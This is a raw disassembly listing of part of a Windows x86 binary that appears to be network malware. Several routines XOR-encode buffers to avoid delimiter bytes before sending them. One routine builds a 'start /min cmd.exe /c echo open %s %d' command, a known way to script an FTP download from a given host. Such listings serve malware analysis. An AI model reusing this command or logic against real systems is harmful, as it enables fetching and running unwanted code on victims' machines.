call near ptr 2900000h
loc_435C67: ; CODE XREF: sub_4356F0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4356F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435E00 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_435E1D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_435E13: ; CODE XREF: sub_435E00+1Bj
cmp [eax+edx], cl
jz short loc_435E21
inc eax
cmp eax, esi
jl short loc_435E13
loc_435E1D: ; CODE XREF: sub_435E00+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_435E21: ; CODE XREF: sub_435E00+16j
pop esi
mov al, 1
retn
sub_435E00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435E40: ; CODE XREF: ___:00401429j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
call near ptr 71AB2B66h
nop
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_435EFC
push ebx
push ebp
call eax
add esp, 8
loc_435EFC: ; CODE XREF: ___:00435EF3j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_435F3E: ; CODE XREF: ___:00435FB7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_435F7E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_435FB9
loc_435F7E: ; CODE XREF: ___:00435F4Cj
; ___:00435F5Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_435FB0
loc_435FA3: ; CODE XREF: ___:00435FAEj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_435FA3
loc_435FB0: ; CODE XREF: ___:00435FA1j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_435F3E
; ---------------------------------------------------------------------------
loc_435FB9: ; CODE XREF: ___:00435F7Cj
mov eax, [esp+28h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4360A0: ; CODE XREF: ___:00401D61j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436152
push ebx
push ebp
call eax
add esp, 8
loc_436152: ; CODE XREF: ___:00436149j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436194: ; CODE XREF: ___:0043620Dj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_43620F
loc_4361D4: ; CODE XREF: ___:004361A2j
; ___:004361B2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_436206
loc_4361F9: ; CODE XREF: ___:00436204j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4361F9
loc_436206: ; CODE XREF: ___:004361F7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_436194
; ---------------------------------------------------------------------------
loc_43620F: ; CODE XREF: ___:004361D2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436300: ; CODE XREF: ___:00401FE1j
mov eax, 200Ch
call sub_436840
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call sub_5EDAB2
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436402
push ebx
push ebp
call eax
add esp, 8
loc_436402: ; CODE XREF: ___:004363F9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436444: ; CODE XREF: ___:004364BDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4364BF
loc_436484: ; CODE XREF: ___:00436452j
; ___:00436462j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4364B6
loc_4364A9: ; CODE XREF: ___:004364B4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4364A9
loc_4364B6: ; CODE XREF: ___:004364A7j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_436444
; ---------------------------------------------------------------------------
loc_4364BF: ; CODE XREF: ___:00436482j
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4365C0: ; CODE XREF: ___:00401910j
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43663D
push ebx
push ebp
call eax
add esp, 8
loc_43663D: ; CODE XREF: ___:00436634j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43667F: ; CODE XREF: ___:004366F8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4366FA
loc_4366BF: ; CODE XREF: ___:0043668Dj
; ___:0043669Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4366F1
loc_4366E4: ; CODE XREF: ___:004366EFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4366E4
loc_4366F1: ; CODE XREF: ___:004366E2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43667F
; ---------------------------------------------------------------------------
loc_4366FA: ; CODE XREF: ___:004366BDj
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; dword_50FAC4
push ebp
call esi ; dword_50FAC4
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j
; SEH_4036D0+5j ...
jmp near ptr 77C227FAh
sub_4367C8 endp
; ---------------------------------------------------------------------------
db 0A9h, 2 dup(0CCh)
byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o
; ___:0043E018o ...
db 0E9h, 37h, 0F7h
dd 3DE9777Fh, 6F777E57h, 2BE5E990h
; ---------------------------------------------------------------------------
jg short loc_436859
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367E2 proc near ; CODE XREF: ___:00406BE0p
; sub_406C00+11p ...
nop
jmp near ptr 77C29CDDh
sub_4367E2 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0A2h, 12h
dd 0E9907781h, 7781146Ch, 14EBE990h
db 81h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367FA proc near ; CODE XREF: sub_406C30+47p
; ___:00406CCAp ...
nop
jmp near ptr 77C29CC5h
sub_4367FA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
jle short loc_43687D
mov eax, ecx
mov dword ptr [eax], offset off_43E1D4
retn 4
; ---------------------------------------------------------------------------
loc_436811: ; DATA XREF: ___:off_43E1D4o
push esi
mov esi, ecx
call sub_436BCC
test byte ptr [esp+8], 1
jz short loc_436827
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
loc_436827: ; CODE XREF: ___:0043681Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436832 proc near ; CODE XREF: sub_409580+4Dp
; ___:0040A99Dp
nop
jmp near ptr 77C226F6h
sub_436832 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_436840 proc near ; CODE XREF: sub_40A030+5p
; sub_40FF60+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_436860
loc_43684C: ; CODE XREF: sub_436840+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
loc_436859: ; CODE XREF: ___:004367E0j
cmp eax, 1000h
jnb short loc_43684C
loc_436860: ; CODE XREF: sub_436840+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_436840 endp
; ---------------------------------------------------------------------------
align 10h
dd 810DEBE9h, 0E9909A77h, 777E6714h
db 90h
; ---------------------------------------------------------------------------
loc_43687D: ; CODE XREF: ___:00436804j
jmp near ptr 77C3FA76h
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 778111C8h, 8035F1E9h, 0E990DE77h, 7781108Ch, 5B6DE990h
dd 3D83777Fh, 50E9F4h, 0FF0C75FFh, 0E8042474h, 777FE54Ch
dd 68C35990h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 593DE990h, 0D9E9777Fh, 9C778008h, 8008EAE9h
db 77h, 0B3h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368EA proc near ; CODE XREF: sub_4198C0+28p
nop
jmp near ptr 77C4FA10h
sub_4368EA endp
; =============== S U B R O U T I N E =======================================
sub_4368F0 proc near ; CODE XREF: sub_41B820+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_436911
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_436961
; ---------------------------------------------------------------------------
loc_436911: ; CODE XREF: sub_4368F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_43691F: ; CODE XREF: sub_4368F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_43691F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_43694A
cmp edx, [esp+4+arg_4]
ja short loc_43694A
jb short loc_436952
cmp eax, [esp+4+arg_0]
jbe short loc_436952
loc_43694A: ; CODE XREF: sub_4368F0+4Aj
; sub_4368F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_436952: ; CODE XREF: sub_4368F0+52j
; sub_4368F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_436961: ; CODE XREF: sub_4368F0+1Fj
pop ebx
retn 10h
sub_4368F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_436970 proc near ; CODE XREF: sub_41B820+30p
; sub_41B820+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_436992
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4369D3
; ---------------------------------------------------------------------------
loc_436992: ; CODE XREF: sub_436970+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4369A0: ; CODE XREF: sub_436970+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4369A0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4369CE
cmp edx, [esp+8+arg_4]
ja short loc_4369CE
jb short loc_4369CF
cmp eax, [esp+8+arg_0]
jbe short loc_4369CF
loc_4369CE: ; CODE XREF: sub_436970+4Ej
; sub_436970+54j
dec esi
loc_4369CF: ; CODE XREF: sub_436970+56j
; sub_436970+5Cj
xor edx, edx
mov eax, esi
loc_4369D3: ; CODE XREF: sub_436970+20j
pop esi
pop ebx
retn 10h
sub_436970 endp
; ---------------------------------------------------------------------------
dd 80A0D4E9h, 0E9905877h, 7780862Ch, 811478E9h, 87E94B77h
dd 0C57780A4h, 80A806E9h, 0E9900977h, 7780AB78h, 0A99AE990h
dd 34E97780h, 0C7780ADh, 11D2E990h, 0E9907781h, 7780B15Eh
dd 8084DDE9h, 0E9907477h, 7780A3F3h, 569DE990h, 0E990777Fh
dd 777E5B35h, 3C0E990h, 0E9907780h, 778007C2h, 7E887FE9h
dd 0E9900277h, 77808EEDh, 0AE20E990h, 8CE97780h, 8D778039h
dd 38B1E990h, 0E9907780h, 778126B7h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436A5C proc near ; CODE XREF: ___:0043168Cp
jmp near ptr 77C3619Ch
sub_436A5C endp
; ---------------------------------------------------------------------------
db 0DEh, 90h, 0E9h
dd 7780030Ch, 0A143E990h, 0D0567780h, 574E35A8h, 0B0C4B231h
dd 65C01F5Ah, 0A164B9h, 50000000h, 258964h, 83000000h
dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h
dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h
dd 0D8B777Eh, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh
dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h
dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h
dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
dd 22D959Eh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 244B2B4h
dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 778032CEh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436BCC proc near ; CODE XREF: ___:00436814p
jmp near ptr 77C21868h
sub_436BCC endp
; ---------------------------------------------------------------------------
db 0C7h, 90h, 0E9h
dword_436BD4 dd 777FE279h, 8032BDE9h, 0E990EB77h, 777FC1CAh, 8301E990h
dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
dd 777E85C3h, 7FE75FE9h, 0E9907177h, 777FF070h, 8205E990h
dd 0E9907781h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0F9E975C4h
dd 8075C54Bh, 0A55E990h, 0E99075C6h, 75C4EE84h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep
jmp near ptr 76D6AC1Dh
sub_436C60 endp
; ---------------------------------------------------------------------------
db 0AEh, 0E9h, 49h
dd 0ED023B9Ch, 9CBCE990h, 0D1E9023Bh, 92023B9Eh, 9382E990h
dd 0E990023Ch, 23D937Ch, 3DA4A5E9h, 0E9904102h, 23E9370h
dd 936AE990h, 56E9023Fh, 11023FAAh, 0ABA8E990h, 0E990023Fh
dd 23FB044h, 409353E9h, 0B1E95D02h, 83024094h, 9D16E990h
dd 0E9900240h, 2419340h, 419736E9h, 35E9A102h, 0AE024293h
dd 4296F1E9h, 76E90C02h, 0BB024299h, 439323E9h, 0E9905802h
dd 244931Ch, 44A5FBE9h, 61E95802h, 390244B1h, 930AE990h
dd 0A1E90245h, 0B8024599h, 9D8EE990h, 0E9900245h, 2459ED4h
dd 92F2E990h, 0E990023Bh, 23A9E18h, 3A92E7E9h, 0E9902802h
dd 23992E0h, 9B21E990h, 0D5E90238h, 0B8023892h, 92CEE990h
dd 0E9900237h, 23695EDh, 92C2E990h, 0E9900236h, 2359EA8h
dd 98DCE990h, 0E9900235h, 22D92B0h, 92AAE990h, 0E9900235h
dd 2349F10h, 9EA9E990h, 86E90234h, 0D47C4CA3h, 4CA298E9h
dd 0E990E37Ch, 2349C6Eh, 9ABBE990h, 0E9900234h, 2349280h
dd 3399AAE9h, 0E990E302h, 2339941h, 9794E990h, 0AE90233h
dd 0CF023396h, 945DE990h, 5DE90233h, 0A1023392h, 329F93E9h
dd 0E9904B02h, 2329D08h, 329B0EE9h, 0E9902A02h, 23297BAh
dd 974FE990h, 0E9900232h, 2329238h, 9F46E990h, 49E90231h
dd 0E602319Bh, 31998EE9h, 0E9909702h, 231956Ah, 31921BE9h
dd 0E9907602h, 2309E63h, 9A92E990h, 0E9900230h, 2309A5Eh
dd 9402E990h, 0E9900230h, 23091FCh, 2F9DCFE9h, 0B1E91602h
dd 0CA022F99h, 91EAE990h, 0E990022Fh, 22E9F68h, 9D75E990h
dd 0E990022Eh, 22E99FEh, 2E98A0E9h, 0E9903402h, 22E91CCh
dd 92DCE990h, 0E990022Dh, 1B6C72h, 91BAE990h, 0E9900246h
dd 250A23Ah, 4C91AFE9h, 0E9909F02h, 25091A8h, 91A2E990h
dd 0E990024Fh, 24E9F3Bh, 9196E990h, 0CEE9024Eh, 28024D93h
dd 918AE990h, 0DBE9024Dh, 32024C9Dh, 9A64E990h, 0E990024Ch
dd 24C982Ah, 4C9658E9h, 0F3E92802h, 95024694h, 9D86E990h
dd 0E990024Bh, 24B99E8h, 4B95BCE9h, 0E9905802h, 24B9154h
dd 4A914FE9h, 49E92802h, 0E8024991h, 0AEDDE990h, 0E9900248h
dd 248ABC7h, 0A930E990h, 0E9900248h, 248A7DBh, 912AE990h
dd 25E90248h, 76024791h, 60A22FE9h, 0E990A47Ch, 7167D059h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EE8 proc near ; CODE XREF: sub_42C8E1+10p
nop
jmp near ptr 71AB4FD4h
sub_436EE8 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 71687585h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p
jmp near ptr 71AB2BF4h
sub_436EF4 endp
; ---------------------------------------------------------------------------
db 0CAh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p
; sub_42DC70+4Fp
jmp near ptr 71AB615Ah
sub_436EFA endp
; ---------------------------------------------------------------------------
